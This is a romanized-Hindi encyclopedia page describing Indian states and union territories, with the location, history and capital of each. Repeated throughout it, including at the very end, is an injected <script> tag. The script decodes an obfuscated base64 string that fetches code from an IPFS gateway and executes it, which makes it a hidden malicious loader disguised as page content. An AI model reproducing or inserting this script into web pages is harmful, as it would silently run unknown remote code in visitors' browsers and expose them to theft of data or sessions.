1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sikkim bharat ka ek parvatiy rajy hai. sikkim ki janasankhya bharat ke rajyoan mean nyoonatam hai aur kshetraphal gova ke bad nyoonatam hai. sikkim namagyal rajatantr dvara shasit svatantr rajy tha. 1975 mean hue janamat-sangrah ke bad yah bharat mean vilin ho gaya. is janamat sangrah ke bad rajashahi ka ant aur bharatiy sanvidhan ki niyam-pranali ke aantargat yahaan prajatantr ka uday hua. aangoothe ke akar ka yah rajy pashchim mean nepal, uttar aur poorv mean chini tibbat kshetr aur dakshin-poorv mean bhootan se ghira hua hai. bharat ka pashchim bangal rajy isake dakshin mean hai.

• sikkim ki rajadhani gangatok hai.

himachal pradesh

[[chitr:Himachal Pradesh Logo.jpg|thumb|150px|himachal pradesh sarakar ka pratik chihn]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

himachal pradesh pashchimi bharat mean sthit rajy hai. yah uttar mean jammoo aur kashmir, pashchim tatha dakshin-pashchim mean dakshin mean hariyana evan uttar pradesh, dakshin-poorv mean uttarakhand tatha poorv mean tibbat se ghira hai. 'himachal' pradesh ka shabdik arth barfile paha doan ka aanchal' hai. himachal pradesh ko dev bhoomi bhi kaha jata hai. himachal pradesh mean aryoan ka prabhav rrigved se bhi purana hai. gorakha yuddh ke bad, yah british shasan ke aantargat a gaya.

• himachal pradesh ki rajadhani shimala hai.

telangana

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

telangana, bharat ke andhr pradesh rajy se alag hokar banane vala 29vaan navagathit rajy hai. yah paratantr bharat ke haidarabad namak rajavade ke telugoo bhashi kshetroan se milakar bana hai. 'telangana' shabd ka arth hai - 'telugoobhashiyoan ki bhoomi'. gauratalab hai ki 1,14,800 varg kilomitar mean phaile telangana mean aandhr pradesh ke 23 ziloan mean se 10 zile gretar haidarabad, ranga reddi, medak, nalagoanda, mahaboobanagar, varangal, karimanagar, nijamabad, adilabad aur khammam ate haian.

• haidarabad ko das sal ke lie telangana aur andhr pradesh ki sanyukt rajadhani banaya gaya hai.

kendr shasit pradesh

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

kendr shasit pradesh ya sangh-rajyakshetr ya sanghakshetr bharat ke sanghiy prashasanik dhaanche ki ek up-rashtriy prashasanik ikaee hai. bharat ke rajyoan ki apani chuni huee sarakarean hoti haian, lekin kendr shasit pradeshoan mean sidhe-sidhe bharat sarakar ka shasan hota hai; bharat ka rashtrapati har kendr shasit pradesh ka ek sarakari prashasak ya up rajyapal namit karata hai. bharat ke sat kendr shasit pradesh hai, jo nimnalikhit haian-

andaman aur nikobar dvipasamooh

thumb|150px|andaman ka ek drishy

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

aandaman evan nikobar dvipasamooh bharat ka ek kendr shasit pradesh hai. yah bangal ki kha di ke dakshin mean hind mahasagar mean sthit hai. aandaman evan nikobar lagabhag 300 chhote b de dvipoan ka samooh hai, jisamean kuchh hi dvipoan par abadi hai. in dvipasamoohoan ka mausam nam, ushh‍n katibandhiy tatiy mausam hai. in dvipoan mean dakshini pashchimi aur uttari poorvi manasoon se varsha hoti hai. yahaan mee mah se disamh‍bar mah ke bich adhikatam varsha hoti hai. is kendr shasit pradesh mean 31 march, 2007 tak 1833 laghu gramin evan hash‍tashilh‍p ikaiyaan panjikrit thian. aandaman aur nikobar dvip samooh ek paryavaran anukool surakshit paryatak sh‍thal ke roop mean prasiddh hai.

• yahaan ki rajadhani port bleyar hai.

chandigadh

thumb|150px|chandigadh ka ek drishy

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

chandigadh, bharat ka ek kendr shasit pradesh hai, jo do bharatiy rajyoan, panjab aur hariyana ki rajadhani bhi hai. isake nam ka arth hai chandi ka kila. yah hindoo devi durga ke ek roop chandika ya chandi ke ek mandir ke karan p da hai. yah mandir aj bhi shahar mean sthit hai. ise siti byootiphul bhi kaha jata hai. chandigadh rajadhani kshetr mean mohali, panchakula aur zirakapur ate haian, jinaki 2001 ki janaganana ke anusar janasankhya 1165111 (1 karo d 16 lakh) hai. chandigadh adhunik shilh‍pakala vaibhav se sanpanh‍n pradesh hai. shivalik pahadiyoan ki nayanabhiram talahati mean basa chandigadh vash‍tavik arthoan mean ek khoobasoorat shahar hai. phraansisi vash‍tushilh‍pi 'la karboojie' dvara nirmit yah shahar adhunik sh‍thapath‍y kala tatha nagar niyojan ka shanadar udaharan hai.

dadara aur nagar haveli

thumb|hiravan udyan, dadara|250px

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

dadara aur nagar haveli 491 varg ki.mi. mean phaila chhota sa keandrashasit pradesh hai. yah gujarat aur maharashtr rajh‍yoan se ghira hua hai. isake do bhag haian ek dadara aur doosara nagar haveli. nikatatam relave sh‍teshan vapi mean hai, jo silavasa se 18 kilomitar door hai. dadara aur nagar haveli mukhh‍yat: gramin kshetr haian, jahaan 79 pratishat adivasi rahate haian. isaka krishi kshetr lagabhag 21,115 hekh‍teyar hai. mukhh‍y fasal dhan (khariph) hai tatha nagali aur paha di bazara anh‍y pramukh fasalean haian.

• dadara aur nagar haveli ki rajadhani silavasa hai.

daman aur div

thumb|150px|daman port

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

daman aur div muanbee ke pas arab sagar mean sthit dvip samooh haian jo bharat ka kendr shasit rajy hai. isaka kul kshetraphal 112 varg ki.mi. hai aur janasankhh‍ya 158,204 hai (2001 ki janaganana ke anusar) hai. daman aur div ke sangh rajh‍y ki rajadhani daman uth‍tari akshaansh ke 20 digri 22’00” se 20 digri 27’25” aur poorvi deshaantar ke 72 digri 49’42” se 72 digri 54’43” ke bich avasthit hai. isaki poorvi sima par gujarat hai; pashchim ki or arab sagar, uttar mean kolak nadi tatha dakshin mean kalaee nadi hai.

• daman aur div ke sangh rajh‍y ki rajadhani daman hai.

lakshadvip

thumb|150px|lakshadvip ka ek drishy

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

lakshadvip bharat ke dakshin-pashchim mean hiand mahasagar mean sthit ek bharatiy dvip-samooh hai. samast kendr shasit pradeshoan mean lakshadvip sab se chhota hai. lakshadvip dvip-samooh ki utpatti prachinakal mean hue jvalamukhiy visphot se nikale lava se huee hai. yah bharat ki mukhyabhoomi se lagabhag 300 ki.mi. door pashchim disha mean arab sagar mean avasthit hai. lakshadvip bharat ke ekamatr mooanga dvip haian. in dvipoan ki shrriankhala mooanga etol haian. etol mooange ke dvara banaya gee aisi rachana hai jo samudr ki satah par pani aur hava milane par banati hai.

• lakshadvip ki rajadhani kavaratti hai.

rashtriy rajadhani kshetr dilli

[[chitr:India-gate.jpg|thumb|150px|iandiya get, dilli]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

dilli, as-pas ke kuchh ziloan ke sath bharat ka rashtriy rajadhani kshetr hai. isamean nee dilli sammilit hai jo aitihasik purani dilli ke bad basa tha. yahaan kendr sarakar ki kee prashasan sansthaean haian. aupacharik roop se nee dilli bharat ki rajadhani hai. 1483 varg kilomitar mean phaila dilli bharat ka tisara sabase b da mahanagar hai. yahaan ki janasankhya lagabhag 1 karod 70 lakh hai. yahaan boli jane vali mukhy bhashayean hai: hindi, panjabi, urdoo, aur aangrezi. rashtriy rajadhani hone ke nate yahaan ka samaj vibhinn prantoan tatha vargoan se ane vale bhinn bhasha-bhashi logoan ke milane se bana hai. jinake parampara, pahanaba, odhaba vishvas-mat adi alag-alag haian.

puducheri

thumb|150px|puducheri ka ek drishy

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

puducheri bharat ganarajy ka kendrashasit pradesh hai. pahale puducheri ek phraansisi upanivesh tha jise 4 ziloan ka samavesh karake banaya gaya tha. puducheri nam isake sabase bade zile puducheri ke nam par pada़ hai. pahale puducheri ka adhikarik nam p aauandicheri tha jise sitanbar 2006 mean badalakar puducheri kar diya gaya. puducheri ka sthaniy tamil bhasha mean arth hota hai 'naya gaanv'. yah pradesh bangal ki kha di ke poorv mean sthit hai. yah pradesh lagabhag tin sau saloan tak phraansisi adhikar mean raha. prachin samay mean phraans se vyapar ka yah pramukh keandr tha. phraansisi sanskriti aur vastushilp ke praman aj bhi yahaan kahian kahian dikh jate haian.

• puducheri kendrashasit pradesh ki rajadhani isaka sabase b da zila puducheri hai.

jammoo aur kashmir

[[chitr:Kashmir-Valley.jpg|thumb|kashmir ki ghati|150px]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

jammoo aur kashmir bharat ka sabase uttari rajy hai. pakistan isaka uttari ilaka ("shimali ilaka") aur tathakathit "azad kashmir" hissoan par qabiz hai aur chin ne aksaee chin ke hisse par kabza kiya hua hai (bharat in kabzoan ko gairaqanooni manata hai). pakistan bharatiy jammoo aur kashmir ko ek vivadit kshetr manata hai. rajy ki rajabhasha urdoo hai. hash‍t‍shilh‍p yahaan ka parapanragat udyog hai. hath se bani vash‍tuoan ki vh‍yapak rozagar kshamata aur visheshajnata ko dekhate hue rajh‍y sarakar h‍sh‍tashilh‍p ko uchh‍ch prathamikata de rahi hai. kashh‍mir ke pramukh hash‍tashilh‍p uth‍padoan mean kagaz ki lugadi se bani vash‍tuean, lak di par naqqashi, kalin, sh aaul aur kashidakari ka saman adi shamil haian.

• is rajy ki shitakalin rajadhani jammoo aur grishmakalin shrinagar hai.

laddakh

[[chitr:Fotu-La-Ladakh.jpg|thumb|150px|fotu la, laddakh]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

'laddakh' uttari bharat ka ek kendr shasit pradesh hai, jo uttar mean karakoram parvat aur dakshin mean himalay parvat ke bich mean sthit hai. yah bharat ke sabase viral janasankhya vale bhagoan mean se ek hai. simavarti sthiti ke karan samarik drishti se isaka b da mahatv hai. laddakh, uttar-pashchimi himalay ke parvatiy kram mean ata hai, jahaan ka adhikaansh dharatal krishi yogy nahian hai. kendr shasit pradesh laddakh ki rajadhani evan pramukh nagar leh hai.

link=#top|center|oopar jayean

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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sanbandhit lekh

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>